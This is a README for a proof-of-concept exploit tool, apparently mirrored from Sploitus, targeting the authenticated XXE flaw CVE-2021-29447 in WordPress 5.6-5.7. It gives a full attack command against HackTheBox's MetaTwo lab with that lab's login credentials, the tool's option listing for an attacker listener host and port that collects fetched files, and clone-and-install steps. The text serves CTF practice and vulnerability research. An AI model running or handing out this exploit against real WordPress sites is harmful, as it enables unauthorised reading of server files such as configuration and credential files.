Exploit for Improper Restriction of XML External Entity Reference in Wordpress CVE-2021-29447

## https://sploitus.com/exploit?id=243DD03B-6EBA-5F46-BCE7-0F7133CA0BAD
# CVE-2021-29447

POC to exploit WordPress 5.6-5.7 (PHP 8+) Authenticated XXE Injection. More about this CVE [here](https://www.sonarsource.com/blog/wordpress-xxe-security-vulnerability/)

## Example

Example usage against HackTheBox's MetaTwo machine, which hosts a WordPress website with Media Library vulnerable to XXE Injection.

```bash
python lfi.py -u manager -p partylikearockstar -t metapress.htb -lh 10.10.XX.XX -lp 8081 -w file_wordlist
```

[![asciicast](https://asciinema.org/a/wqBueScWdUnuG4HzHbYPuOThI.svg)](https://asciinema.org/a/wqBueScWdUnuG4HzHbYPuOThI)

## Usage

```bash
usage: lfi.py [-h] -u USERNAME -p PASSWORD -t TARGET -lh LHOST [-lp LPORT] [-w WORDLIST] [-i] [-v] [-s]
              [filenames ...]

positional arguments:
  filenames             Filenames to fetch

options:
  -h, --help            show this help message and exit
  -u USERNAME, --username USERNAME
                        Username to user in authenticated upload
  -p PASSWORD, --password PASSWORD
                        Password to user in authenticated upload
  -t TARGET, --target TARGET
                        Remote host to target, e.g. "metapress.htb"
  -lh LHOST, --host LHOST
                        Hostname on which server is bound (default "")
  -lp LPORT, --port LPORT
                        Listening port (default "8080")
  -w WORDLIST, --wordlist WORDLIST
                        Wordlist of filenames to be fetched
  -i, --interactive     Runs in interactive mode
  -v, --verbose         Enables verbose mode
  -s, --skip            Skip php server spin-up (MAKE SURE IT IS ALREADY RUNNING!)
```

## Installation

**Make sure you have php installed.**

```bash
git clone https://github.com/viardant/CVE-2021-29447
cd CVE-2021-29447
pip install -r requirements.txt
```